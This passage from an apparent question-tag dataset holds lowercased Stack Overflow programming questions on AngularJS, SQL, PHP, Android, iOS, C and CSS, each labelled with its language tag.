bytes:0 (0.0 b)  tx bytes:0 (0.0 b)           interrupt:28 base address:0x6000   eth1      link encap:ethernet  hwaddr 00:22:68:d3:02:b5             inet addr:192.168.2.112  bcast:192.168.2.255  mask:255.255.255.0           inet6 addr: fe80::222:68ff:fed3:2b5/64 scope:link           up broadcast running multicast  mtu:1500  metric:1           rx packets:23827 errors:0 dropped:0 overruns:0 frame:32515           tx packets:23200 errors:46 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            rx bytes:22027719 (22.0 mb)  tx bytes:3778268 (3.7 mb)           interrupt:19   lo        link encap:local loopback             inet addr:127.0.0.1  mask:255.0.0.0           inet6 addr: ::1/128 scope:host           up loopback running  mtu:16436  metric:1           rx packets:402 errors:0 dropped:0 overruns:0 frame:0           tx packets:402 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:0            rx bytes:29197 (29.1 kb)  tx bytes:29197 (29.1 kb) </code></pre>   i found 127.0.1.1 entry in host file (strange to me  since i never updated this file)   <pre><code>root@dell:~# cat /etc/hosts 127.0.0.1   localhost 127.0.1.1   dell  # the following lines are desirable for ipv6 capable hosts ::1     localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters ff02::3 ip6-allhosts </code></pre>   how to get the real ip of my machine (not 127.0.0.1)  i am looking only for ipv4 address excluding <code>127.0.0.0/8 subnet</code>,java
failed to instantiate module dashboard due to: error: [$injector:nomod] http://errors.angularjs.org/1.4.9/$injector/nomod p0=dash  i m trying to learn angularjs and i keep getting this error and this is my code:    app.js   <pre><code>var app = angular.module( dashboardapp       [          dashboardservice      ]); </code></pre>   service.js   <pre><code>var dashboardservicemodule = angular.module( dashboardservice   []); dashboardservicemodule.factory( dashboard   function ($http) { return {     get_site: function () {          return $http({             method:  get               url:  www.google.com               headers: {                  x-csrf-token : $( meta[name= csrf-token ] ).attr( content )                   content-type :  application/x-www-form-urlencoded              }         });     } } </code></pre>   });    index.html   <pre><code>&lt;div class= row  ng-controller= dashboard &gt;     &lt;input type= button  ng-model= template  value= www.google.com  ng-click= test() &gt;     &lt;remote-content&gt;&lt;/remote-content&gt; &lt;/div&gt; &lt;script&gt;     app.controller( dashboardctrl   function (dashboardapp) {         console.log( a );     });     angular.module( dashboardapp ).directive( remotecontent   [ dashboard   function (dashboard) {         return {             restrict:  e               template:  &lt;p&gt;test&lt;/p&gt;               link: function (scope  elem  attrs) {                 console.log( kl;sd );             }         }     }]); &lt;/script&gt; </code></pre>   any help would be greatly appreciated  thanks!,angularjs
refresh newsstand app and badge icon  i have created a magazine app enabled for the newsstand. the problem is  the app only refreshes/fetches a new issue when the reader launches the app.     i want my app to check for new issues on a daily basis and update the app s shelf as soon as it finds a new issue. i don t want the app to automatically download the new issue  just to update the shelf and the newsstand shelf cover and badge the newsstand icon  letting the reader know there s a new magazine issue available.    any ideas are greatly appreciated!,ios
what is best way to raise application events for use with admin network monitoring tools  in a semi-critical .net service application  what would be a good strategy for raising application events that could be monitored by network administration tools  the events would be for errors  status changes  and possibly other notifications.    my company is planning to use some kind of tool down the road to monitor all critical machines and services. as of right now they are using spice works to do some monitoring but it is not known if they will keep this down the road.    by strategy i mean  perhaps using some sort of protocol ( my network admin has mentioned snmp)  perhaps a service such as windows event log. i have no idea what is available  so i m leaving the options open.    with that in mind  here is a list of preferences i came up with:   <ol> <li>somewhat easy to use with .net. </li> <li>reliability</li> <li>should work well with a variety of admin monitoring tools</li> <li>works with non - windows monitoring tools</li> <li>works with spice works</li> </ol>,.net
constructor calls during assignment operations and object passing  i am confused over the differences between passing objects by reference and by value to functions of a particular class. if i pass objects by value  i know that the default copy constructor makes a member-by-member copy of the the object for use in the given function. however  if i am passing objects as a const reference for a class that requires deep copy  is the copy constructor still called  say that i had a function    <pre><code>     void debug(const myclass&amp; object1);  </code></pre>   would passing object1 call the copy constructor  or is the object passed into the function directly without having a copy made  one more question - if i have a class called fraction-   <pre><code>     fraction a(1 2); // 1 is this numerator  2 the denominator       a = fraction(2 3); </code></pre>   does the aforementioned line call the default constructor to make a temporary object fraction(2 3) and then the assignment operator      thanks.,c++
sql combine two queries into one  these are simplified versions of three tables i have:   <pre><code>books bookid (pk) authorid ...   purchases purchaseid (pk) customerid bookid date ...  authors  authorid (pk) name ... </code></pre>   i m hoping the connection between the tables is self explanatory  but i ll give a brief explanation: there is a one to many relationship between authors and books and between books and purchases.    now i want to select a book from books that are written by a given author and have been purchased more than x times.    i can query books for a given author:   <pre><code>select * from books where authorid =  some author ; </code></pre>   but i only want those books which have been purchased more than x times.   <pre><code>   select bookid from purchases where ...(where the occurance of bookid&gt;x) </code></pre>   i do not know how to complete this query  or even if it is possible. and then i want to combine it with the first query  using an inner join  if possible.    i am willing to accept that the design is flawed. perhaps purchases table should simply have bookids as pk and have a field for number of purchases.,sql
my application running at lollipop version but can t run at higher versions  my application running at lollipop version but can t run at higher versions. this error occurs:    <img src= https://i.stack.imgur.com/d3opr.jpg  alt= enter image description here >,android
"how can i click on a button if it has only value and name attributes using javascript  this is the form and i want to click on submit button using javascript programatically    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form action= /testseries/go  method= post &gt;
   &lt;div class= key &gt;
     &lt;i class= fa fa-mobile  aria-hidden= true &gt;&lt;/i&gt;
     &lt;input type= text  name= username  placeholder= phone number  required=  &gt;
     &lt;div class= clearfix &gt;&lt;/div&gt;
   &lt;/div&gt;
   &lt;div class= key &gt;
     &lt;i class= fa fa-lock  aria-hidden= true &gt;&lt;/i&gt;
     &lt;input type= password  name= password  placeholder= password  required=  &gt;
     &lt;div class= clearfix &gt;&lt;/div&gt;
   &lt;/div&gt;
   &lt;input type= submit  value= login &gt; //this button
 &lt;/form&gt;</code></pre>
 </div>
 </div>
     the problem is that i am new in javascript and i have studied that there are dom elements like <code>getelementbyid</code>   <code>classname</code> etc but in this case how can i get the click of  the button which don t have any dom",javascript
object of class closure could not be converted to string in: filename. <pre><code>function convert($currencytype) {     $that = $this;     return $result = function () use ($that)      {         if (!in_array($currencytype  $this-&gt;ratio))                 return false;          return ($this-&gt;ratio[$currencytype] * $this-&gt;money); //a float number     }; }  $currency = new currency(); echo $currency-&gt;convert( euro ); </code></pre>   what s wrong     i m getting the error message:   <pre><code>catchable fatal error: object of class closure could not be converted to string </code></pre>,php
how can i change the interface of incoming call in ios that no jailbreak  how to call the method of springboard or coretelephony.framework without jailbreak....i want to develop a crm(customer relationship management) app that when someone calling user and he can be show the information about user s customer in calling view.    in a word...how can i show text in iphone when the phone is ringing or calling....    btw:↓    this app can show the incoming number s location when someone call you  (maybe it s can de used in cn only..) ----->  <a href= http://dx4.wishdown.com:8088/soft/360mobilesafeenterprise_1.0.3.zip 1061501409182x1381395280x1061548127328-935a63a79c690b6b6b268ad737c10c9c  rel= nofollow >http://dx4.wishdown.com:8088/soft/360mobilesafeenterprise_1.0.3.zip 1061501409182x1381395280x1061548127328-935a63a79c690b6b6b268ad737c10c9c</a>,ios
css columns: use available width  anyone know a way to make it so that when the menu div is omitted  the main div uses all the available width     <pre><code>    +-------------- container -------------+     |  +--- menu ---+  +---- main ------+  |     |  |            |  |                |  |     |  |            |  |                |  |     |  +------------+  +----------------+  |     +--------------------------------------+        +-------------- container -------------+     |  +------------- main -------------+  |     |  |                                |  |     |  |                                |  |     |  +--------------------------------+  |     +--------------------------------------+ </code></pre>,css
compare two tables across databases  i have a table with two columns...... an int id and a varchar username. we want to count the number of records from one table and whether they exist in the other table.    table 1 is source table 2 is dest   <pre><code>--clear the table delete from dest  --allow identity insert set identity_insert dest on  --copy the source to the destination insert into dest(id  username) select id  username from source </code></pre>   so far  so good.  the problem that i have now  is that some records have now been deleted and we wish to find the differences between source and dest. so imagine some activity has occurred on dest causing it to lose some records that remain existing in source.   <pre><code>--count number of records in source.   the result here is 18247 select count(*) from source  --count number of records in dest.  the result here is 18298 select count(*) from dest  --there is a difference of 51 records. correct    --now count all records that exist in source  but not in dest. i.e. records deleted from dest.  select count(*) from source as sourcetable where not exists(select 1 from dest as desttable where desttable.id=sourcetable.id)  --the result here is 18165 (   ) </code></pre>   clearly the where not exists query is incorrect. any clues as to what i am doing wrong here  i just want a list of ids belonging to records that exist in the source  but now no longer exist in dest.,sql
why does double.tryparse return false when parsing string input from console.readline();  newbie here  any help understanding is appreciated. first experience with tryparse.                         in this instance:   <pre><code>do {     console.write( what is the temperature (in degrees fahrenheit):  );     outcome = double.tryparse(console.readline()  out tempf);     if (outcome == false)     {         console.writeline( invalid input );     }  } while (outcome == false); </code></pre>   a user input of  stack  would return a <code>boolean</code>  false  value  whereas an input such as  100  would return as  true .<br> i am under the impression that <code>double.tryparse</code> would only return <code>true</code> if the user input is of <code>string</code> type  as this would be a successful parse.,c#
how can i get only date from  2017-11-13t00:00:00  in angularjs  how can i get only date from  2017-11-13t00:00:00  using angularjs.  i have tried using below method.   <pre><code>&amp;scope.date =  2017-11-13t00:00:00 ; var dateparts = $filter( date )(new date(&amp;scope.date)   yyyy-mm-dd ); </code></pre>   but it s not working for me. thanks,angularjs
loading image from url ios  i m trying to load an image from an image url. all the code i have researched and tried finds a few errors  a lot having to do with new arc compatibility.     i need the image to load into an image view.    any help appreciated.    thanks.,ios
does html5 requires spaces between attributes that are of quoted values   html does normally allow to have no spaces between attributes when attributes have values and those values are quoted.    example (<a href= http://www.validome.org/lang/en/errors/misc/3004 >reference/source</a>):   <blockquote>    in html-documents no white spaces between attributes are needed.  </blockquote>  <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en                                                                         http://www.w3.org/tr/html4/loose.dtd &gt;                                                                                     &lt;html&gt;                                                                                                                            &lt;head&gt;                                                                                                                            &lt;title&gt;no attribute space&lt;/title&gt;                                                                                               &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1 &gt;                                                      &lt;/head&gt;                                                                                                                         &lt;body&gt;                                                                                                                            &lt;p class= class title= title &gt;&lt;/p&gt;                                                                                            &lt;/body&gt;                                                                                                                       &lt;/html&gt;                                                                                                                         </code></pre>   see the third-last line:    <pre><code>    &lt;p class= class title= title &gt;&lt;/p&gt;                                                                                                             ^^ </code></pre>   now using such html chunk changing the doctype to html 5 (<code>&lt;!doctype html&gt;</code>)  makes the <a href= http://validator.w3.org/check ><em>experimental</em> w3c html 5 conformance checker</a> give an error exactly there telling me:   <blockquote>    validation output: 1 error        error line 9  column 22: no space between attributes.   <pre><code>    &lt;p class= class title= title &gt;&lt;/p&gt;                     ^ </code></pre> </blockquote>   so i thought that html 5 is backwards compatible to how browsers deal with html in reality and browsers afaik deal with this well. so i m a bit puzzeled at least. i also have problems to decipher the (somewhat needlessly) compilcated html 5 specs to be precise at this point because what i did find (w3c again  see <a href= http://www.w3.org/tr/html-markup/syntax.html#syntax-attributes >http://www.w3.org/tr/html-markup/syntax.html#syntax-attributes</a>) it s not saying that this is (may nor must) be an error.,html
custom tcp socket in http requests  i am using a uiwebview in an application  the problem is that i need to control the actual tcp sockets  (i need to use another socket library than the built in sockets).    i would like to use as much of the built in functions (urlrequest  urlprotocol  caches etc) as possible.    is there any convenient way to hook in where the actual tcp socket is created as a result of http requests  i.e. where i am in charge of creating the socket     i have looked a bit at nsurlprotocol  but not sure that is what i am looking for.,iphone
python 2.7.9: no module named requests  i am writing a code in python 2.7.9 for which i need the <code>requests</code> module. i installed the module using <code>sudo pip install requests</code> but still in python 2.7.9 i am getting an error as follows:   <pre><code>python 2.7.9 (default  jan  5 2016  18:47:14)  [gcc 4.8.4] on linux2 type  help    copyright    credits  or  license  for more information. &gt;&gt;&gt; import requests traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; importerror: no module named requests </code></pre>   i checked the installation location <code>/usr/local/lib/python2.7/dist-packages</code>  it contains the <code>requests</code> package directory. the same thing works fine in <code>python3</code>  so i am guessing it s an installation error. how can i fix it      <strong>edit:</strong>    on executing <code>pip lists</code>  i could see <code>requests (2.1.9)</code> in the list. after i ran <code>pip uninstall requests</code> it shows <code>requests (2.2.1)</code> in <code>pip list</code>.,python
undefined variable using get function  i am getting an undefined variable when i submit a form. it successfully prints out the information using an echo but not outside the get function. i need it to get the previous product id s  which the get function does. then i need it to insert into the sql query  that is not working. i m afraid its a bracket error. here are snippets of my code:   <pre><code>     if (isset($_get[ productid ])) {          $productid = ($_get[ productid ]);       echo $productid;  //echos successfully     }  // doesn t echo here       $query =  insert into orders (productid) values ( $productid  ) ;                $results = @mysqli_query ($conn  $query);   &gt;   &lt;form class= form-horizontal  role= form  method= post  action= checkout.php &gt;  &lt;div class= form-group &gt;                   &lt;div class= form-group &gt;      &lt;div class= form-group &gt;         &lt;div class= col-sm-12 col-sm-offset-2 &gt;     &lt;input type= submit  name= submit  value= submit  class= btn btn-default /&gt;     &lt;/div&gt;     &lt;/div&gt;  &lt;/form&gt;   &lt;/div&gt;     &lt; php include ( footer.php );  &gt; </code></pre>,php
fixed elements in a fixed navbar  i m trying to make a navbar that has a fixed position and has elements inside of it that are also fixed:    <img src= https://i.stack.imgur.com/tj1mp.png  alt= enter image description here >   <pre><code>.navbar {   position: fixed;  top: 0;  bottom: 0;  right: 0; }  .content-area {  overflow: scroll; }  .top-area {   height: 100px;   position: fixed;   top: 0; } </code></pre>   i have two areas that should be fixed to the top and the bottom and a content area in the middle that s overflow scrolls under the bottom area. when i add <code>position: fixed;</code> to .top-area or .bottom-area they disappear to the top. why can t i fix an element onto the navbar      the html looks like this:   <pre><code>&lt;div class= navbar &gt;   &lt;div class= top-area &gt;   &lt;/div&gt;   &lt;div class= content-area &gt;   &lt;p&gt; content here &lt;/p&gt;   &lt;/div&gt;   &lt;div class= bottom-area &gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>,css
indexerror: list index out of range - python  i have a code snippet like below.i want to analyze apache log file. i can do it until nearly 30.000 lines of code. but when i want to make analyze 1.000.000 lines of log file  i get the error :     <strong>indexerror: list index out of range.</strong>    code :   <pre><code>from collections import defaultdict  third = defaultdict(lambda: (defaultdict(lambda : defaultdict(int))))  count = 0  fh = open( c:/users/mycomp/desktop/data.txt    r ).readlines()  for line in fh:     line_split = line.split();      date = line_split[0];     time = line_split[1];     ip = line_split[2];      third [date][time][ip]+= 1  for date  d in third.iteritems():      for time   count in d.iteritems():          print  %s %s %s %s  % (date  time  count ip) </code></pre>   log file like this :   <pre><code>2016-11-04 00:00:12 10.11.13.13  2016-11-05 00:00:15 10.14.12.11  2016-11-06 00:00:19 10.10.15.13  </code></pre>,python
why web application projects have designer.cs files and web site not in asp.net  <strong>i want to know why web application projects have designer.cs files  and web site not in asp.net</strong>     like this   <pre><code>//------------------------------------------------------------------------------ // &lt;auto-generated&gt; //     this code was generated by a tool. // //     changes to this file may cause incorrect behavior and will be lost if //     the code is regenerated. // &lt;/auto-generated&gt; //------------------------------------------------------------------------------  namespace javascript {       public partial class webform1     {          /// &lt;summary&gt;         /// form1 control.         /// &lt;/summary&gt;         /// &lt;remarks&gt;         /// auto-generated field.         /// to modify move field declaration from designer file to code-behind file.         /// &lt;/remarks&gt;         protected global::system.web.ui.htmlcontrols.htmlform form1;     } } </code></pre>,asp.net
"how to get required input fields  how do i get required input fields     thanks    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input type= text  name= name &gt;</code></pre>
 </div>
 </div>",html
where to put helper arrays in rails app   i have a helper array which is the result of some <em>expensive</em> pre-computation needed by page loads. i do not want to store it into the database for a variety of reasons  but would rather prefer it sitting in the memory. is that advisable  if so  where can i put it (this  cache  array)  is it a good practice to use a global variable <code>$array</code>     what i have tried:   <pre><code>class mycontroller   def precompute     @@array = # pre-computation   end    def index     # use @@array data for page load; pre-computation done earlier elsewhere   end end </code></pre>   and   <pre><code>module mymodule   def precompute     @@array = # pre-computation   end   def array; @@array end end  class mycontroller   def index     # use mymodule.array data for page load; pre-computation done earlier elsewhere   end end </code></pre>   both of these two do not work  probably due to multi-threading. after pre-computation being done for a while  rails complains that the class variable is no longer initialized.,ruby-on-rails
python backtracking (queens checkboard)  ok so finally after hours and hours of struggling with my head i finally understood how backtracking works. though i still think there are secrets left to be understood. anyways  i m trying to create the 4-queens problem on the checkboard. practically i m giving myself a blank checkboard (it s 4x4 actually) and i need to find 4 places where those queens won t attack themselves. a queen attacks the row  column and diagonal it belongs too.  here is what i ve done so far (the valid func isn t complete yet  but it doesn t really matter. i just need the backtrack function to work).   <pre><code>def findnextcell(grid i j):      for index in range(i 4):         for jindex in range(j 4):             return index  jindex      for index in range(0 4):         for jindex in range(0 4):             if grid[index][jindex] == 0:                 return index  jindex      return -1 -1   def isvalid(grid  index  jindex  queen):      rowok = all([queen != grid[index][x] for x in range(4)])     if rowok:         columnok = all([queen != grid[x][jindex] for x in range(4)])         if columnok:             return true     return false  def queensolve(grid  i=0  j=0  num_queens = 0):      i  j = findnextcell(grid  i  j)     print grid     if num_queens == 4:         return true     if isvalid(grid  i  j  1):         grid[i][j]=1         num_queens += 1         if (queensolve(grid  i  j  num_queens)):             return true         grid[i][j]=0     return false  input = [[0 0 0 0] [0 0 0 0] [0 0 0 0] [0 0 0 0]]  print queensolve(input) </code></pre>,python
strpos to find multiple words   can you please tell me how can i use <code>strops</code> to see if a string doesn t contains any of the two specific words  (<code> </code> and <code>if</code>)   <pre><code>$phrase = “how to use strops ” if(strpos($phrase    |if ) === false) //is there a way i can detect the presence of {               //either words in a sentence using one line of code that has strpos       echo “neither word is found”; } </code></pre>,php
large files downloaded to documents and backed up to icloud  i have an ios app in the app store that can download relatively large files that need to stay on the device for offline use. those files are currently stored in the app s <code>documents</code> folder but i m just now reading that the <code>documents</code> folder is backed up and should really only be used for user-generated content. <a href= https://developer.apple.com/library/ios/qa/qa1719/_index.html >this apple technical q&amp;a</a> states that the <code>nsurlisexcludedfrombackupkey</code> should be set to prevent backup. <a href= https://developer.apple.com/icloud/documentation/data-storage/index.html >this</a> states that an app s <code>/library/caches</code> is the right place to put these kinds of files although further reading suggests that the folder may be cleared when the device is low on storage which is unacceptable for this app. i believe <code>/library/application support/</code> is then the best location for them -- does this sound right     unfortunately  this mistake got through the app review process. what are some best practices for fixing this now that people are using the app and already have some files persisted to the <code>documents</code> folder and to their backups  it seems i need to move all the existing files and set their <code>nsurlisexcludedfrombackupkey</code> on app update. how do i guarantee that this is done exactly once and that it isn t interrupted  is moving the files out of the <code>documents</code> folder important or could i leave them there  will changing the files  backup status remove them from existing backups     i m using swift 2.1.1 and targeting ios 8.0+.,ios
creating asp.net mvc c# application without using built in visual studio scaffolding templates  <br> first wish you a great weekend ahead am completely new to this stackoverflow the reason am here is am developing a technical forum for my final year project and has decided to use asp.net mvc and mysql but my problem is<br> 1: visual studio 2010 provides some inbuilt  scaffolding templates for creating a empty     view or list view etc(i.e right click on action->create view).i don t want to use them but can i develop my own views without using their templates.  <br><br> 2: and if i create such how can i proceed with controllers or models to perform curd operations i.e for instance i write my own view how to code it for buttons textbox etc <br><br> 3: can someone let me a good tutorials or good site for such stuff i.e <strong>building web application in asp.net mvc without templates</strong> i.e from basic scratch a basic mvc tutorials which help me in curd and other operations<br> please suggest me some thing as am running out of time and need to work i will thank full  thanks,.net
how to know that october 2012 starts with monday in objective c  i m new to this objective c. i m trying to do an calendar application.     could anyone please let me know how to know on which day the month starts  (suppose  for example  october 2012 month starts on monday and november 2012 starts on thursday. like that how to know the start day of september 2014 ).    also please let me know how to get the start day (monday or tuesday...) of the month based on the month.,objective-c
how can i achieve a single mysql row answer   how can i achieve a single mysql row answer     i have two tables given:    table flats   <pre><code>idflat int(11) street varchar(45) </code></pre>   table tenants   <pre><code>id tenant int(11) flats_idflat int(11) surname varchar(45) firstname varchar(45) </code></pre>   my query   <pre><code>select     flats.idflat      flats.street      tenants.surname      tenants.firstname from     flats         left join     tenants on flats.idflat = tenants.flats_idflat where     tenants.flats_idflat is not null </code></pre>   turns out with the following result because john and peggy are living in the same flat:   <pre><code>idflat    street        surname        firstname 1          taft ave     john               miller 1          taft ave     peggy             ballot </code></pre>   i’m looking for a result like this:   <pre><code>idflat    street        surname        firstname 1           taft ave    john/peggy    miller/ballot </code></pre>   i tried some concat_ws queries like   <pre><code>concat_ws(‘/   tenants.surname  tenants.firstname) as tenants  </code></pre>   but it always results in multiple output of the flat.,mysql
how to add database to device   i have sqlite database in my system i need to add this data base to the device(in the application location).how to do this,android
connection refuse while connecting with localhost in android <blockquote>    hello friends i am trying to connect my android application to localhost and display name in listview using json but stupid error occurring please help me below is my code and error.  </blockquote>  <pre><code>public class mainactivity extends activity {  spinner spin; inputstream is = null;  string ip =  http://localhost/demo/select.php ; string line = null; string result = null;  list&lt;string&gt; list;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      spin = (spinner) findviewbyid(r.id.spinner1);      new jsondemo().execute();  }  public class jsondemo extends asynctask&lt;void void string&gt;{        @override     protected string doinbackground(void... params) {         try{         webservicecall();         }         catch(exception e){             log.v( error   e.tostring());         }         return null;     }      @override     protected void onpostexecute(string result) {          try{             setdata();             }             catch(exception e){                 log.v( error   e.tostring());             }                }    }  private void webservicecall()  {     // todo auto-generated method stub     arraylist&lt;namevaluepair&gt; pair=new arraylist&lt;namevaluepair&gt;();     try {         httpclient httpclient = new defaulthttpclient();         httppost httppost = new httppost(ip);         httppost.setentity(new urlencodedformentity(pair));         httpresponse response = httpclient.execute(httppost);         httpentity entity = response.getentity();         is = entity.getcontent();     }     catch (exception e) {         log.e( webservice 1   e.tostring());     }     try {          bufferedreader reader = new bufferedreader(new inputstreamreader(is   iso-8859-1 )  8);         stringbuilder sb = new stringbuilder();          while((line = reader.readline()) != null) {              sb.append(line +  \n );             log.v( item   line);         }          is.close();         result = sb.tostring();              }     catch (exception e) {         log.e( webservice 2   e.tostring());     }     try {          jsonarray ja = new jsonarray(result);         jsonobject jo = null;          list = new arraylist&lt;string&gt;();          for(int i=0; i&lt;ja.length(); i++) {              jo = ja.getjsonobject(i);             list.add(jo.getstring( name ));         }                }catch (exception e) {         log.e( webservice 3   e.tostring());     } }     public void setdata(){     arrayadapter&lt;string&gt; adp = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_list_item_1  list);            spin.setadapter(adp); } </code></pre>   }   <blockquote>    and here is error  </blockquote>  <pre><code>06-17 07:22:44.301: e/trace(2304): error opening trace file: no such file or directory (2) 06-17 07:22:44.811: d/libegl(2304): loaded /system/lib/egl/libegl_emulation.so 06-17 07:22:44.821: d/(2304): hostconnection::get() new host connection established 0x2a154fa0  tid 2304 06-17 07:22:44.841: d/libegl(2304): loaded /system/lib/egl/libglesv1_cm_emulation.so 06-17 07:22:44.851: d/libegl(2304): loaded /system/lib/egl/libglesv2_emulation.so 06-17 07:22:44.891: e/webservice 1(2304):                                   org.apache.http.conn.httphostconnectexception: connection to http://localhost refused 06-17 07:22:44.891: e/webservice 2(2304): java.lang.nullpointerexception: lock == null 06-17 07:22:44.911: w/egl_emulation(2304): eglsurfaceattrib not implemented 06-17 07:22:44.921: e/webservice 3(2304): java.lang.nullpointerexception 06-17 07:22:44.930: d/openglrenderer(2304): enabling debug mode 0 06-17 07:22:45.291: v/error(2304): java.lang.nullpointerexception 06-17 07:24:53.270: d/dalvikvm(2304): gc_concurrent freed 165k  11% free 2607k/2912k   paused 73ms+3ms  total 138ms 06-17 07:24:53.441: w/egl_emulation(2304): eglsurfaceattrib not implemented </code></pre>,android
segmentation fault (core dumped) in file handling in c  i am new to stack overflow so please forgive me if have disobeyed any rules. i am trying to run a code   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; int o[100][100]; int a[100][100]; int b[5]; int h w; int alpha; int min() {     int i m=b[0] k=0;     for(i=1;i&lt;5;i++)     {        if(b[i]&lt;m)        {            m=b[i];            k=i;         }      }      return k;  }  int set(int j int k)  {      b[0]=a[j][k];      b[1]=((j-1)&gt;=0) a[j-1][k]:12000;      b[2]=((k-1)&gt;=0) a[j][k-1]:12000;      b[3]=((k+1)&lt;w) a[j][k+1]:12000;      b[4]=((j+1)&lt;h) a[j+1][k]:12000;      int dir=min();      int j1 k1;      if(dir==1)      {           j1=j-1;           k1=k;      }      else if(dir==2)      {           j1=j;           k1=k-1;       }       else if(dir==3)       {          j1=j;          k1=k+1;       }       else if(dir==4)       {          j1=j+1;          k1=k;       }       if(o[j1][k1]==-1 &amp;&amp; dir!=0)           set(j1 k1);       if(dir==0)       {           o[j][k]=alpha;           alpha++;        }       else       {           o[j][k]=o[j1][k1];        } } int main() {     printf( 2 );     file* f1=fopen( b-small-practice(1).in   r );     file* f2=fopen( otput.out   w );     if(f1==null)         printf( error in f1\n );     if(f2==null)         printf( error in f2\n );     int i j k;     int t dir;     fscanf(f1  %d  &amp;t);     for(i=1;i&lt;=t;i++)     {         alpha=97;         fscanf(f1  %d %d  &amp;h &amp;w);         for(j=0;j&lt;h;j++)         {             for(k=0;k&lt;w;k++)             {                 fscanf(f1  %d  &amp;dir);                 a[j][k]=dir;                 o[j][k]=-1;             }         }         for(j=0;j&lt;h;j++)         {             for(k=0;k&lt;w;k++)             {                 if(o[j][k]==-1)                 {                     set(j k);                  }              }          }          fprintf(f2  case #%d:\n  i);          for(j=0;j&lt;h;j++)          {             for(k=0;k&lt;w;k++)             {                 fprintf(f2  %c   o[j][k]);             }             fprintf(f2  \n );           }     }     fclose(f1);     fclose(f2); } </code></pre>   when i ran this code without file operation then it ran successfully but when i used file then it gave segmentation fault. i had this problem many times. please help me in identifying problem in my code so that i can never repeat that mistake. thanks in advance,c
css place text on centered image in a div  i need to place text(absolute position) on centered placing image in a div.    <strong>html</strong>   <pre><code>&lt;ul class= col-md-12 profile-settings &gt;      &lt;li class= col-md-4 col-xs-4 col-sm-4 notifications &gt;                       &lt;a href= # &gt;&lt;img src= ../img/profile/notifications.png  alt=   class= normal &gt;&lt;span class= notification-count &gt;&lt;span&gt;04&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;      &lt;/li&gt; &lt;/ul&gt; </code></pre>   <strong>css</strong>   <pre><code>.profile-settngs li img {   display: block;   margin-left: auto;   margin-right: auto; }  ul li.notifications a {   position: relative; }      .notification-count {   border-radius: 60%;   left: 57px;   position: absolute;   top: 46px;   width: 18px; } </code></pre>   but it is working fine for 1280x960 resolution. but other resolutions  the text got changing the position. if i remove margin-left and margin-right(for center the image) it is working fine.,css
append java console to file  i use the following lines to redirect my console output to a file :   <pre><code>  printstream stream = new printstream( console.log );   system.setout(stream); </code></pre>   now the file is overwritten with every start of the application  thus losing all previous entries  but i´d like it to append every session to a persistent console logfile. is it possible,java
no visible @interface error in ios  im getting the following <strong>issue</strong> in ios how to clear and run the code successfully.    the issue is:     <code> no visible @interface for  viewcontroller  declares the selector  performselector:afterdelay:  .</code>,ios
position google maps with sidebar on right and fixed header on top  i m looking to position a google maps div with a sidebar on the right that displays listings. i want to make it so the window doesn t scroll  and the contents on the page are fluid when resizing the screen.     i have previously attempted to use box-sizing like the following:   <pre><code>    #map-wrapper * {      box-sizing: border-box !important;      -moz-box-sizing: border-box !important;      -khtml-box-sizing: border-box !important;      -webkit-box-sizing: border-box !important;      -ms-box-sizing: border-box !important;     }     #map-container {      position: absolute;      width: 100%; height: 100%;      margin: 0;      overflow: hidden;      border-top: 50px solid transparent !important; border-right: 350px solid transparent !important;     } </code></pre>   this starts to become a nightmare when trying to have a scrolling list in the sidebar. does anyone have a good solution  or am i on the right track with box-sizing,css
dynamic variablefromstring in objective c  i want to dynamically create variable from string in objective c.    like <code>nsclassfromstring</code> thats way. in that i want to access variable.    any idea about this,iphone
having problems with line 16 & 21 in c. what is (word[25]  ! =  9 )  here s my code: <pre><code>#include &lt;stdio.h&gt; #include &lt;strings.h&gt;    int main(int argc  char *argv[])  {     char word[25];      do          {         printf( enter a word: );         scanf( %24 s   &amp;word); }      while         (word[25]  ! =  9 );     {          printf( %s starts with the letter %c\n   word  word[25]);     }     while         (word[25]  ! =  9 );      return(0); </code></pre>,c
.net class library dll refresh  i m using class library in .net.    i m generating dll but it is being generated without the refresh file  so i can not update it automacatilly in my project.    how do you generate the refresh file with the dll when compiling  or have a way to automatically update the dll without refresh file,.net
email composer does not go back when i click cancel  so heres my problem i have mad an action  sheet added in twitter and facebook which work fine however when i added in an email composer it seems that the application is unable to to go back to the original screen and stays in the email composer.   <pre><code> - (void)actionsheet:(uiactionsheet *)actionsheet clickedbuttonatindex:(nsinteger)buttonindex {  //each button title we gave to our action sheet is given a tag starting with 0. if (buttonindex == 0) {      //check twitter accessibility and at least one account is setup.     if([slcomposeviewcontroller isavailableforservicetype:slservicetypetwitter]) {          slcomposeviewcontroller *tweetsheet =[slcomposeviewcontroller composeviewcontrollerforservicetype:slservicetypetwitter];          //this is setting the initial text for our share card.         [tweetsheet setinitialtext:@ switcher makes social networking easier  download it now from (link):d  ];          //brings up the little share card with the test we have pre defind.         [self presentviewcontroller:tweetsheet animated:yes completion:nil];      } else {         //this alreat tells the user that they can t use built in socal interegration and why they can t.         uialertview *alertview = [[uialertview alloc] initwithtitle:@ sorry  message:@ you can t send a tweet right now  make sure you have logged into twitter aleady from your iphone settings.  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];         [alertview show];     }  }else if (buttonindex == 1) {      //check facebook accessibility and at least one account is setup.     if([slcomposeviewcontroller isavailableforservicetype:slservicetypefacebook]) {          slcomposeviewcontroller *facebooksheet =[slcomposeviewcontroller composeviewcontrollerforservicetype:slservicetypefacebook];          //this is setting the initial text for our share card.         